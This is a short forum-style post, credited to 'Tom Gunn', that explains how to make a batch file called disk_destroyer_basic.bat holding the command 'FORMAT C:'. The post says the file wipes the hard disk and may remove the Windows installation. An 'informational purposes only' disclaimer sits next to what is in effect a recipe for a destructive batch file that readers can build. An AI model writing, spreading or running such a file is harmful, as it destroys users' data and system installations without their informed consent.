Tom Gunn:

What you should do here is to open a window of notepad. Enter

FORMAT C:
(INFORMATIONAL PURPOSE ONLY)
and save the file as disk_destroyer_basic.bat.

This won't spread or do anything fancy. It will just wipe your hard disk. There are a few quirks to be worked out with this method, but like I said, informational purposes only.

Doing so may also remove your Windows installation if your Windows install is on C:
Be careful.
